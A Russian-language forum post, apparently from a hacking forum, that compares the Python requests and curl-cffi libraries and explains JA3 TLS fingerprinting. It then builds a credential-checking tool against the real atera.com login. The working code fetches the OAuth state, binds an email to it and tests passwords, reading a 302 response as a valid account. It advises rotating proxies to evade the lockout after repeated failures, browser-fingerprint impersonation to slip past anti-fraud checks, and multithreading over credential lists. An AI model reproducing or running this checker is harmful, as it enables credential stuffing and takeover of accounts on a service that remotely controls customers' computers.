Разбор фрода как занятие. Загулявшиеся танцы с отпечатками и cтранностями разработчиков. Разница запросов в Python. JA3, TLS.

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Спойлер: soundcloud
https://soundcloud.com/penelope-scott%2Fsets%2Fpublic-void
Написано - chiefchain
Для - XSS.is

1. Введение
1.1 О чём статья?
Всех приветствую, эта статья для меня значит больше как некий материал, на основе которого уже можно будет понимать запросы аудитории форума, я был бы рад так-же увидеть темы, которые интересны вам в разборе, но стоит понимать, что я не гуру и сенсей этого мира. Я готов делиться тем, что сам изучил, попробовал на практике или хорошо понимаю, но прошу учитывать, что мои знания и опыт также имеют свои границы. Немного всё, отходим от лирики, возвращаемся к предмету статьи. Заголовок запутанный, не спорю. Пойдем по порядку, пожалуй. Разберем с вами фрод на одном из сайтов, который оказывает услуги удаленного управления и мониторинга ПК в сети, надо понимать, что в этой статье мы не будем лезть сразу в пекло, начнем с малого, посмотрим: как работает авторизация, какие защиты, какие кукисы куда, что с капчей, что с проксями? Посмотрим разницу в двух библиотеках: "requests" и "curl-cffi", где есть ограничения, что лучше когда использовать, на основе чего работают эти библиотеки, в чём преимущества? Напоследок в заключении посмотрим, что такое JA3-fingerprint, как оно работает, при чём тут вообще TLS. Связка этих трёх тем достаточно обширна, но при этом в такой укомплектовке он становится достаточно информативным сам по себе, ведь всю теорию мы практически сразу подкрепляем практикой, достаточно удобно, и материал в таком случае принимается лучше, это тоже будет одним "негласным" правилом моих статей, что сначала разбираем теорию, после скачем к практике.
1.2 А что такое фрод? Зачем и для чего он был придуман?
Не будем залезать лишний раз в историю и лингвистику, это нам не нужно. Нам сейчас главное понять, в каких рамках мы подразумеваем это слово? Посмотрев интернет, понял, что мое мнение по поводу объяснения этого слова, достаточно скользкое и слизкое. Для меня это все же - некая защита, проявляемая в любой из сфер жизни, которая помогает бороться с мошенниками. Куда кругом не взгляни, везде фрод. Это понятие можно развернуть куда угодно. Допустим, заходя в самолёт, стюардессы всегда встречают нас, но что происходит на самом деле? У меня разве не получится даже пройти самостоятельно? Нет, пройдете вы всегда сами, и без лишних людей. Это ведь как и зайти в клуб/бар вечерком, когда стоит фейсер. Он оценивает вас, выявляет агрессивных, нетрезвых. Это можно назвать фрод'ом в реальной жизни, в интернете мы как знаем всё отличается полностью. В контексте реалий в интернете фрод - это все же система, которая рассматривает твои показатели, использует некие правила для рассортировки по 2 категориям (если мы прыгаем из крайности в крайность) - плохой/хороший. Всё это на самом деле работает на биг-дате, куча параметров, куча данных, куча всего остального. Грубо говоря, мы собираем с тебя данные, смотрим на наши параметры, модельки, и делаем вывод, кто же ты на самом деле? Появился фрод в интернете с самого начала его появления, ведь он изначально существовал в реальности, а после уже перерос в еще одно определение. Каждая компания, конечно же хочет бороться с "плохими" людьми, ведь они имеют негативные последствия. Какой компании захочется, чтоб их сайт обвалился или же работал на последних мощностях? Какая будет репутации у компании, если учетки юзеров постоянно воруют? Можно задать еще много таких вопросов, но стоит уже переходить к делу и сравнить curl-cffi и requests.

2. curl-cffi VS requests
2.1 requests
Думаю, что каждый кто хоть раз прикасался к Python, работал с библиотекой requests. Она самая популярная, и лежит практически везде, как корень, для исполнения HTTP-запросов. Библиотека сама по себе является синхронной, что грустно, ведь таким образом достичь хорошей скорости в рамках GIL у нас с высокой вероятностью ничего не происходит. Самый главный кошмар с моей стороны, что библиотека давным-давно устарела, ведь до сих пор работает с HTTP/1.1, когда уже вышел HTTP/2. Стоит немного углубиться в тему протокола HTTP, я достаточно поверхностно расскажу здесь об этом, но в любом случае вы сможете найти информацию по этому поводу в интернете. HTTP/1.1 появилась аж в 1999 году, и это самая первая стандартизированная версия, в то время как HTTP/2 вышел еще в 2015 году, и все уже перешли. Как минимум HTTP/2 использует бинарный формат передачи данных, естественно, что бинарники размером меньше, а значит что и скорость передачи выше, а нагрузка на сервер - ниже. Основное преимущество на деле - лишь ускорение загрузки страниц, ведь HTTP/2 позволяет отправлять запросы, через одно соединение. Я приведу пример, с целью, чтоб все поняли как это работает в жизни, если перенести это туда. Давайте, представим, что вам нужно починить машину. В HTTP/1.1 это похоже на то, как если бы вы ехали в автосервис, где вам нужно поочередно оставить машину для каждой из её частей: сначала для замены масла, потом для проверки тормозов, затем для замены шин и так далее. Каждый раз вы забираете машину, едете домой, возвращаетесь в сервис и снова ждёте своей очереди. Теперь представьте, что существует "умный сервис" (HTTP/2), который позволяет вам привезти машину один раз, и все необходимые работы (замена масла, тормоза, шины и прочее) выполняются одновременно, пока вы ждете в уютной комнате. Вы забираете свою машину отремонтированной и сразу же уезжаете, сэкономив кучу времени. Окей, хватит мусолить протокол-HTTP. Посмотрим сравнение requests с другими библиотеками по скорости.
1733728246179.png


Практически сразу же видно, что requests сильно тормозит по скорости, если смотреть на другие библиотеки.
2.2 curl-cffi
У к requests на мой взгляд нет уже больше плюсов, это все же прародитель, от которого пошли все более лучшие и усовершенствованные библиотеки. По этому переходим к curl-cffi. Сразу пойдем, по плюсам, отталкиваясь от минусов у requests. Присутствует поддержка HTTP/2, которая значительно ускоряет нашу скорость. Больший синтаксис пошел от библиотеки requests, что тоже можно назвать плюсом, ведь изначально люди сидят на requests, а после уже переходят на другие либы в зависимости от своих потребностей. Так-же curl-cffi поддерживает асинхронность, что практически развязывает нам руки в плане скорости, если не смотреть на такие нужды как прокси и сервера. Она так-же поддерживает общение на сокетах, но это нам сегодня не пригодится. И самое главное преимущество, это поддержка JA3-принтов, и так же параметр 'impersonate', который позволяет нам представиться любым браузером, начиная от сафари, заканчивая 124 хромиумом. Надо бы понять, что такое JA3, как они создаются и работают. JA3 - это так скажем, метод, который создает нам уникальный отпечаток для каждого посетителя, использующего TLS (про это я говорил ранее в статье, и это касается сугубо сайтов через 443-порт). Основывается он на ваших характеристиках SSL/TLS-соединения, а именно на: версии TLS, набор шифров, список расширений протоколов TLS, эллиптические кривые и форматы эллиптических кривых. Затем он объединяет эти значения вместе по порядку, используя символ «,» для разграничения каждого поля и «-» для разграничения каждого значения в каждом поле. После чего мы эти строки хешируем и получаем наш отпечаток JA3. Он никаким образом не зависит от IP-адреса или User-Agent'a. Всё же познается в сравнении, так надо посмотреть вообще по результатам? Собрать всю дату, а после уже и выяснить, чем предстоит пользоваться для чекера, на какую библиотеку переходить (совет, не более). Для этой задачи нам поможет сервис - https://tools.scrapfly.io/api/fp/ja3 , который с удовольствием расскажет про нас, и все эти параметры. Быстренько пишем самый банальный и обычный код, и сравниваем результаты.

Python: Скопировать в буфер обмена
Код:
import time
from curl_cffi import requests as curl_requests
import requests

start_requests = time.time()
r_requests = requests.get("https://tools.scrapfly.io/api/fp/ja3")
end_requests = time.time()

print("requests response:", r_requests.json())
print(f"requests execution time: {end_requests - start_requests:.6f} seconds")

start_curl = time.time()
r_curl = curl_requests.get("https://tools.scrapfly.io/api/fp/ja3", impersonate="safari")
end_curl = time.time()

print("curl_cffi response:", r_curl.json())
print(f"curl_cffi execution time: {end_curl - start_curl:.6f} seconds")

Я не думаю, что в этом моменте стоит углубляться в код, все довольно таки просто, банально отправляем два запроса, и сравниваем пришедшие ответы. Будьте осторожны, открывая спойлеры) У меня достаточно сильно от этого пролагивает.
Спойлер: json-response requests
Код: Скопировать в буфер обмена
Код:
{
  "ja3": "772,4866-4867-4865-49196-49200-49195-49199-52393-52392-49188-49192-49187-49191-159-158-107-103-255,0-11-10-16-22-23-49-13-43-45-51,29-23-30-25-24,0-1-2",
  "ja3n": "772,4866-4867-4865-49196-49200-49195-49199-52393-52392-49188-49192-49187-49191-159-158-107-103-255,0-10-11-13-16-22-23-43-45-49-51,29-23-30-25-24,0-1-2",
  "ja3_digest": "4715c02183f4d7db313fab496914d094",
  "ja3n_digest": "3baffdcfe171c9d183a7d24bd66c56af",
  "scrapfly_fp": "version:772|ch_ciphers:4866-4867-4865-49196-49200-49195-49199-52393-52392-49188-49192-49187-49191-159-158-107-103-255|ch_extensions:0-10-11-13-16-22-23-43-45-49-51|groups:29-23-30-25-24|points:0-1-2|compression:0|supported_versions:772-771|supported_protocols:http11|key_shares:29|psk:1|signature_algs:1027-1283-1539-2055-2056-2057-2058-2059-2052-2053-2054-1025-1281-1537-771-769-770-1026-1282-1538|early_data:0|",
  "scrapfly_fp_digest": "a09e6b1c7d2bb4a96a8b599543c70aaa",
  "tls": {
    "version": "0x0303 - TLS 1.2",
    "ciphers": [
      "TLS_AES_256_GCM_SHA384",
      "TLS_CHACHA20_POLY1305_SHA256",
      "TLS_AES_128_GCM_SHA256",
      "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384",
      "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384",
      "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256",
      "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256",
      "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256",
      "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256",
      "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384",
      "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384",
      "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256",
      "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256",
      "TLS_DHE_RSA_WITH_AES_256_GCM_SHA384",
      "TLS_DHE_RSA_WITH_AES_128_GCM_SHA256",
      "TLS_DHE_RSA_WITH_AES_256_CBC_SHA256",
      "TLS_DHE_RSA_WITH_AES_128_CBC_SHA256",
      "TLS_EMPTY_RENEGOTIATION_INFO"
    ],
    "curves": [
      "X25519 (29)",
      "secp256r1 (23)",
      "X448 (30)",
      "secp521r1 (25)",
      "secp384r1 (24)"
    ],
    "extensions": [
      "server_name (0) (IANA)",
      "ec_point_formats (11) (IANA)",
      "supported_groups (10) (IANA)",
      "application_layer_protocol_negotiation (16) (IANA)",
      "encrypt_then_mac (22) (IANA)",
      "extended_master_secret (23) (IANA)",
      "post_handshake_auth (49) (IANA)",
      "signature_algorithms (13) (IANA)",
      "supported_versions (43) (IANA)",
      "psk_key_exchange_modes (45) (IANA)",
      "key_share (51) (IANA)",
      "padding (21) (IANA)"
    ],
    "points": [
      "0x00",
      "0x01",
      "0x02"
    ],
    "protocols": [
      "http/1.1"
    ],
    "versions": [
      "772",
      "771"
    ],
    "handshake_duration": "210.572379ms",
    "is_session_resumption": false,
    "session_ticket_supported": false,
    "support_secure_renegotiation": true,
    "supported_tls_versions": [
      772,
      771
    ],
    "supported_protocols": [
      "http11"
    ],
    "signature_algorithms": [
      1027,
      1283,
      1539,
      2055,
      2056,
      2057,
      2058,
      2059,
      2052,
      2053,
      2054,
      1025,
      1281,
      1537,
      771,
      769,
      770,
      1026,
      1282,
      1538
    ],
    "psk_key_exchange_mode": "AQ==",
    "cert_compression_algorithms": "AA==",
    "early_data": false,
    "using_psk": false,
    "selected_protocol": "http/1.1",
    "selected_curve_group": 29,
    "selected_cipher_suite": 4865,
    "key_shares": [
      29
    ]
  }
}
Спойлер: json-response curl-cffi
Код: Скопировать в буфер обмена
Код:
{
  "ja3": "772,4865-4866-4867-49196-49195-52393-49200-49199-52392-49162-49161-49172-49171-157-156-53-47-49160-49170-10,0-23-65281-10-11-16-5-13-18-51-45-43-27,29-23-24-25,0",
  "ja3n": "772,4865-4866-4867-49196-49195-52393-49200-49199-52392-49162-49161-49172-49171-157-156-53-47-49160-49170-10,0-5-10-11-13-16-18-23-27-43-45-51-65281,29-23-24-25,0",
  "ja3_digest": "8be0b641abb257fae7b13bcfd2657032",
  "ja3n_digest": "ee9a64814f953b3433beeb4725f60b5f",
  "scrapfly_fp": "version:772|ch_ciphers:GREASE-4865-4866-4867-49196-49195-52393-49200-49199-52392-49162-49161-49172-49171-157-156-53-47-49160-49170-10|ch_extensions:GREASE-0-5-10-11-13-16-18-23-27-43-45-51-65281-GREASE|groups:GREASE-29-23-24-25|points:0|compression:0|supported_versions:GREASE-772-771-770-769|supported_protocols:h2-http11|key_shares:GREASE-29|psk:1|signature_algs:1027-2052-1025-1283-515-2053-2053-1281-2054-1537-513|early_data:0|",
  "scrapfly_fp_digest": "f638ee5bf20fa34a65437016daa32cf7",
  "tls": {
    "version": "0x0303 - TLS 1.2",
    "ciphers": [
      "0xBABA",
      "TLS_AES_128_GCM_SHA256",
      "TLS_AES_256_GCM_SHA384",
      "TLS_CHACHA20_POLY1305_SHA256",
      "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384",
      "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256",
      "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256",
      "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384",
      "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256",
      "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256",
      "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA",
      "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA",
      "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA",
      "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA",
      "TLS_RSA_WITH_AES_256_GCM_SHA384",
      "TLS_RSA_WITH_AES_128_GCM_SHA256",
      "TLS_RSA_WITH_AES_256_CBC_SHA",
      "TLS_RSA_WITH_AES_128_CBC_SHA",
      "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA",
      "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA",
      "TLS_RSA_WITH_3DES_EDE_CBC_SHA"
    ],
    "curves": [
      "TLS_GREASE (0x4A4A)",
      "X25519 (29)",
      "secp256r1 (23)",
      "secp384r1 (24)",
      "secp521r1 (25)"
    ],
    "extensions": [
      "GREASE (0x1A1A)",
      "server_name (0) (IANA)",
      "extended_master_secret (23) (IANA)",
      "extensionRenegotiationInfo (boringssl) (65281) (IANA)",
      "supported_groups (10) (IANA)",
      "ec_point_formats (11) (IANA)",
      "application_layer_protocol_negotiation (16) (IANA)",
      "status_request (5) (IANA)",
      "signature_algorithms (13) (IANA)",
      "signed_certificate_timestamp (18) (IANA)",
      "key_share (51) (IANA)",
      "psk_key_exchange_modes (45) (IANA)",
      "supported_versions (43) (IANA)",
      "compress_certificate (27) (IANA)",
      "GREASE (0x8A8A)",
      "padding (21) (IANA)"
    ],
    "points": [
      "0x00"
    ],
    "protocols": [
      "h2",
      "http/1.1"
    ],
    "versions": [
      "23130",
      "772",
      "771",
      "770",
      "769"
    ],
    "handshake_duration": "203.418719ms",
    "is_session_resumption": false,
    "session_ticket_supported": false,
    "support_secure_renegotiation": true,
    "supported_tls_versions": [
      23130,
      772,
      771,
      770,
      769
    ],
    "supported_protocols": [
      "h2",
      "http11"
    ],
    "signature_algorithms": [
      1027,
      2052,
      1025,
      1283,
      515,
      2053,
      2053,
      1281,
      2054,
      1537,
      513
    ],
    "psk_key_exchange_mode": "AQ==",
    "cert_compression_algorithms": "AA==",
    "early_data": false,
    "using_psk": false,
    "selected_protocol": "h2",
    "selected_curve_group": 29,
    "selected_cipher_suite": 4865,
    "key_shares": [
      19018,
      29
    ]
  }
}

Запросы делались с одного устройства, IP, и т.д.. Но при этом в ответах мы получили абсолютно разные значения. Как говорилось ранее, первое это показатель "selected_protocol", которые отвечает за HTTP/2(1.1), в случае использования requests это http/1.1, а для curl-cffi просто h2. Cтоит подметить по времени, что разница по итогу заняла 0.5 секунды, кажется, что не так уж и много, а если мы делаем это в рамках асинхронности или многопоточности, то смело умножайте 0.5 на кол-во ваших потоков или ограничение семафора, а после делите на среднее время для проверки одного аккаунта, вот такую скорость по итогу мы теряем. У нас так же разнятся значения JA3-принтов, но если заглянуть целиком, то очень много вещей разнятся, можно сказать, что совпадений точных по значениям, в разы меньше чем несовпадающих. Окей, сопоставим небольшую табличку с преимуществами и минусами, после вынесем свое "решение".

2.3 И кто выиграл? Чем пользоваться то?
Можно накидать такую небольшую табличку, с базовыми потребностями. Если давать за каждую победу в критерии по баллу, то тут впринципе и лысому ежику становится ясно, что curl-cffi одерживает победу. Честно, это предпочтение и выбор каждого, чем пользоваться, и зачем. Задачи все же у всех разные, но имеет ли смысл постоянно играть на два фронта, заместо изучения одной библиотеки, хороший вопрос. Ведь по сути curl-cffi лучше со всех сторон объективно, как ни крути. Люди продолжают пользоваться requests, ибо привыкли, хотя по синтаксису разницы примерно ноль, а на самом деле это два разных чада, одно уже выросло и стало неспособным пенсом, а другое только на ноги встает, которое лучше оптимизировано под новые требования в столь быстрой сфере) И вправду, если юзеру предстоит выбирать, то с высокой вероятностью выберутся requests, ведь есть понятная документация, огромное коммьюнити, и множество уже решенных вопросов в интернете. Но углубляясь, все становится другим абсолютно.
1733731288740.png


3. Практика: тыкаемся на сайте. Какие защиты? С чем бороться и чего бояться? Пишем код.
3.1 Тыкаемся на сайте.
Окей, выборка первой задачи достаточна неплоха, зайти на сайт, посмотреть, что он из себя представляет, посмотреть на возможные капчи и так далее. Напоминаю, что мы работаем с сайтом atera.com и пишем под чего чекер, собираем всю нужную нам информацию, дальше по ходу дела, обращаемся к ней при написании кода. Заходим на нашу главную страницу, и достаем нужную нам страничку, она лежит практически сразу же у нас на плаву
1733732244279.png



Окей, мы получили ссылку для логина, а именно -
Код: Скопировать в буфер обмена
https://app.atera.com/login
, но что будет происходить на деле при переходе на эту ссылку,


1733732444373.png



Бамц, по итогу мы оказываемся на абсолютно другом поддомене и с неким параметром state, который передается нам в окончательном редиректе.

Код: Скопировать в буфер обмена
https://auth.atera.com/u/login/identifier?state=hKFo2SBrejdRd2FhOFRKWDhqSHVuTl9hdkVQTGxpaTR1bExoRaFur3VuaXZlcnNhbC1sb2dpbqN0aWTZIE9kWHdzZERTWlMzLWx3MkFLV082RlRaREwtbU5leGxvo2NpZNkgSGJjWFptT09ZYjVZVHRoOVZFdGhLZzlhMDU2T1FT1HA
Интересно, спору нет, попробуем залогиниться в аккаунт, и посмотреть еще как раз таки присутствуют ли капчи.

1733732706937.png


Логинимся, видим следующую картину, что почта, которую мы указали подвязывается к нашему параметру state, который пока до сих пор непонятно каким образом собирается. Так же отправляются и другие данные при связке state и почты, но их мы оставим по итогу такими какими были в оригинальных запросах. C чего я взял, что тут есть именно связка state и mail, то это надо присмотреться к следующему запросу.
1733732912982.png



Получается, так что после того как мы связали почту со state, нам отдается новая страница, где уже заранее написана почта указанная, даже с другого чистого(без кукисов и тд) браузера. Это стоит запомнить, ведь в будущем это один из ключевых факторов. Поняли, что state прямиком привязан к нам, теперь просто попробуем залогиниться.

Логинимся, капчи нет, ничего удивительного нет, самый простой запрос, простая отправка username и password и state.

1733733056938.png



Окей, давайте проверим сервис, что если ввести пару раз неправильно пароль? Мне пришлось отправить порядка 7 запросов, чтоб мой аккаунт улетел в блокировку на вход, то есть присутствует самая обыкновенная проверка на брут, можем это назвать фродом, как говорилось ранее. Я честно говоря, ожидал в этом моменте, что мне вылезет капча, или подобное что-то, но нет. Все проще, просто бан) Приходят 400 ответы на невалид, либо блокировки, это тоже надо подметить.
1733733398549.png



В случае успеха же наоборот, 400 не приходит, появляется 302, которая направляет нас еще по десяткам других редиректов.
1733733758431.png



Окей, в итоге мы имеем следующее.
1. Параметр state и mail связаны между собой
2. 400 ответ - невалид; 302 ответ - валид
3. Генерация параметра state не выяснена
4. Брут невозможен, спустя n-ое количество попыток, почту банит.
5. Капча отсутствует, не выбивается.
6. Из-за 4 пункта вытекает шестой, что обязательно прокси, ведь тогда нас забанит окончательно.

3.2 State - и его генерация.
Упал мне в руки вот такой запрос, который соответственно и отвечает за этот самый параметр state
1733734496922.png



Куча вторичной даты: client_id, state, nonce, и тд. Можно заметить, что state имеет два '=' на конце, как и nonce, что соответствует зачастую шифру base64, но декодировав его, я не нашел связи этого значения с другими запросами.
1733734563250.png


Сам же state возвращается не как ответ, текст, а передается в хедерах как Location, с призывом для того куда скакать браузеру дальше. А после, имея окончательный параметр, мы уже забираем наше значение state, с которым мы пройдемся еще тысячу раз.

1733734675553.png



Мы поняли как появляется этот самый state, но у нас еще куча других непонятных параметров, откуда их доставать то? Предлагаю сначала поэксперементировать и посмотреть, что будет если повторить точной такой же запрос через Python, не меняя никакие параметры.

Python: Скопировать в буфер обмена
Код:
from curl_cffi import requests

params = {
    'client_id': 'HbcXZmOOYb5YTth9VEthKg9a056OQS8p',
    'scope': 'openid profile email offline_access',
    'response_type': 'code',
    'response_mode': 'query',
    'state': 'VlJXQW1JWkpnN2RNTE1JNnIxVTV3bUVHX1gxX1hGcGV3OHFlaW9XWEg5bg==',
    'nonce': 'UEFON0JIUHl4SlptTUJLcmlmN3hVdklMVTlxQkI5cldKYk5BYmtJMUR+MA==',
    'redirect_uri': 'https://app.atera.com/auth0.html',
    'code_challenge': 'CgEutL6Qa4bXtduWeMd-y-6KkQh0gShcFKyx_aSjRdw',
    'code_challenge_method': 'S256',
    'auth0Client': 'eyJuYW1lIjoiYXV0aDAtc3BhLWpzIiwidmVyc2lvbiI6IjEuMTkuMSJ9',
}

response = requests.get('https://auth.atera.com/authorize', params=params, impersonate='chrome124')

print(response.url)

1733735020013.png



Бамц, у нас получается достать state, но что же с этими параметрами делать? Зацепок на сайте мне не удалось найти, и какой-либо связи между ними тоже, эксперимента ради пробуем отключать каждый параметр полностью. В ходе тестов, выясняется, что бэк-ater'ы, вовсе не проверяет хедеры, и даже не обращает внимания на отсутствие у нас кукисов, а мы сразу врываемся в логин. Его не пугает абсолютно, по каким причинам мне не особо ясно.

По итогу, для получения state, можно ограничиться следующими параметрами, их вполне хватит.


Спойлер: code
Код: Скопировать в буфер обмена
Код:
from curl_cffi import requests
params = {
    'client_id': 'HbcXZmOOYb5YTth9VEthKg9a056OQS8p',
    'response_type': 'code',
    'redirect_uri': 'https://app.atera.com/auth0.html',
}
response = requests.get('https://auth.atera.com/authorize', params=params, impersonate='chrome124')
print(response.url)

Окей, мы окончательно разобрались со state, и сделали функцию, которая отвечает за его генерацию. У нас остается связка почты и state, а так же сама проверка на валид.

Спойлер: final code for state
Python: Скопировать в буфер обмена
Код:
def state(proxies, session):
    proxies = {
        'http': f'http://{proxies}',
        'https': f'http://{proxies}'
        }
    params = {
        'client_id': 'HbcXZmOOYb5YTth9VEthKg9a056OQS8p',
        'response_type': 'code',
        'redirect_uri': 'https://app.atera.com/auth0.html',

    }
    response = session.get('https://auth.atera.com/authorize', params=params, impersonate='chrome124', proxies=proxies)
    parsed_url = urlparse(response.url)
    query_params = parse_qs(parsed_url.query)
    state_value = query_params.get('state', [None])[0]
    return state_value, session

3.3 Связка State и Mail
Ход действий у нас будет примерно такой-же как и в прошлом этапе, возвращаемся к теории, к тому что мы записали. Мы должны отправить POST-запрос, указывая в параметрах наш state, а в data - наша почта, state, и так же другие параметры, которые мы оставляем в живых, так как они и оставались. Просто не трогаем их. Помним, что раз мы генерировали в сессии - State, то нам нужно будет гонять эту сессию до полной проверки. По этому в итоговом коде функции с получением state, мы возвращаем еще обратно и сессию набитую кукисами, и так далее.

Спойлер: final code for linking
Код: Скопировать в буфер обмена
Код:
def mailsave(email, state, session, proxies):
    proxies = {
        'http': f'http://{proxies}',
        'https': f'http://{proxies}'
        }
    params = {
        'state': state,
    }

    data = {
        'state': state,
        'username': email,
        'js-available': 'true',
        'webauthn-available': 'true',
        'is-brave': 'false',
        'webauthn-platform-available': 'true',
        'action': 'default',
    }

    response = session.post('https://auth.atera.com/u/login/identifier', params=params, data=data, impersonate='chrome124', proxies=proxies)
    return session

3.4 Проверка на валид.
Как мы уже помним 400 - это невалид, а 302 - это валид. Я не буду добивать в статье сразу весь чекер целиком, я оставлю лишь три функции, и думаю тем кому пригодится - смогут собрать самостоятельно исходя из этого алгоритма. Если вы все таки решили собрать это в одно целое, то вам с высокой вероятностью стоит добавить следующее:
- поддержка асинхнронности или же многопоточности
- чтение кредов/прокси с текстовика и так-же сохранение результатов
Остальное уже может добавляться как некие фишечки, и тому подобное.


Спойлер: final code for login
Код: Скопировать в буфер обмена
Код:
def login(email, password, state, proxies, session):
    proxies = {
        'http': f'http://{proxies}',
        'https': f'http://{proxies}'
        }

    params = {
        'state': state,
    }
    data = {
        'state': state,
        'username': email,
        'password': password,
        'action': 'default',
    }
    response = session.post('https://auth.atera.com/u/login/password', data=data, impersonate='chrome124', params=params, proxies=proxies)
    if response.status_code == 302:
        return True
    else:
        return False

Впринципе всё, чекер на этом закончен. Всего лишь три функции, для того чтоб собрать в одно целое, объедините их в один файл, или разбейте определенную структуру. Для начала мы получаем State ~> Связываем State и почту ~> Проверяем на валид ~> записываем результаты. Можете добавить какую нибудь многопоточность, или асинхронность. Не забывайте про прокси, иначе все ваши проверки будут коту под хвост.

4. Вывод

Итак, в итоге, мы рассмотрели две библиотеки 'requests' и 'curl-cffi', протестировали, выяснили, проанализировали, сделали микровывод, что requests уже устаревший иструмент, в то время как curl-cffi будет жить еще долго из-за поддержки ja3-fingerprint'ов, http/2 и в других функциях, как асинхронность и тд. Рассмотрели фрод Атеры, как оно работает, выстроили свой чекер.
 
Сверху Снизу